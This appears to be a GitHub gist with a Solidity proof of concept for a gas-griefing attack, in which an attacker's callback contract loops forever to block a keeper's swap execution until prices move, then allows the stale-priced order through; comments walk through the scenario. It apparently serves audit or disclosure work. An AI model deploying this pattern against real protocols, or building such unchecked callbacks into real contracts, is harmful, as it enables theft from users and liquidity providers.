-
-
Save JustDravee/40f7d6b6e4b64b58aeb1e6028dd688ee to your computer and use it in GitHub Desktop.
63/64 Gas Exploit Scenario
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity 0.8.17; | |
interface ICallback { | |
function beforeExecution() external; | |
} | |
/** Exploit Desc: **/ | |
// The GasGriefer is used as a `callbackContract` on a swapOrder | |
// Assume the execution of the swapOrder takes > 1/64th of the block gas limit. | |
// It will be impossible for the keeper to successfully execute the executeOrder function. | |
// | |
// Example: | |
// | |
// Block 100: Exploiter creates a swap for USDC -> ETH @ $100/ETH | |
// Block 101: Keeper attempts to execute this swap, but it fails as the exploiter is currently gas DoSing the execution. | |
// Block 300: Ether is now worth $500/ETH, the exploiter now allows the execution to go through and the swap executes at $100/ETH | |
// | |
// Note: | |
// Even just adding a callback that infinite loops will break estimate gas -> which might DoS an automated keeper on its own. | |
contract GasGriefee { | |
struct SwapOrder { | |
address[] route; | |
uint256 amountIn; | |
address callbackContract; | |
uint256 blockNumber; | |
} | |
struct PriceParams { | |
uint256 price; | |
uint256 blockNumber; | |
} | |
mapping(uint256 => SwapOrder) orders; | |
uint256 nonce; | |
constructor() {} | |
function createSwapOrder(address[] calldata _route, uint256 _amountIn, address _callbackContract) external returns (uint256) { | |
uint256 nextNonce = ++nonce; | |
orders[nextNonce] = SwapOrder({ | |
route: _route, | |
amountIn: _amountIn, | |
callbackContract: _callbackContract, | |
blockNumber: block.number | |
}); | |
return nextNonce; | |
} | |
function executeOrder(uint256 _id, PriceParams calldata params) external onlyKeeper { | |
SwapOrder memory order = orders[_id]; | |
if (params.blockNumber != order.blockNumber) revert(); | |
try ICallback(order.callbackContract).beforeExecution() {} catch {} | |
/** Execute the swap order at the provided price **/ | |
} | |
} | |
/** Use this contract as a callbackContract **/ | |
contract GasGriefer is Ownable { | |
uint x = 5; | |
bool allowExecution; | |
function beforeExecution() external { | |
if (allowExecution) return; | |
while(true) { | |
x += 1; | |
} | |
} | |
function setAllowExecution(bool _allowExecution) onlyOwner { | |
allowExecution = _allowExecution; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment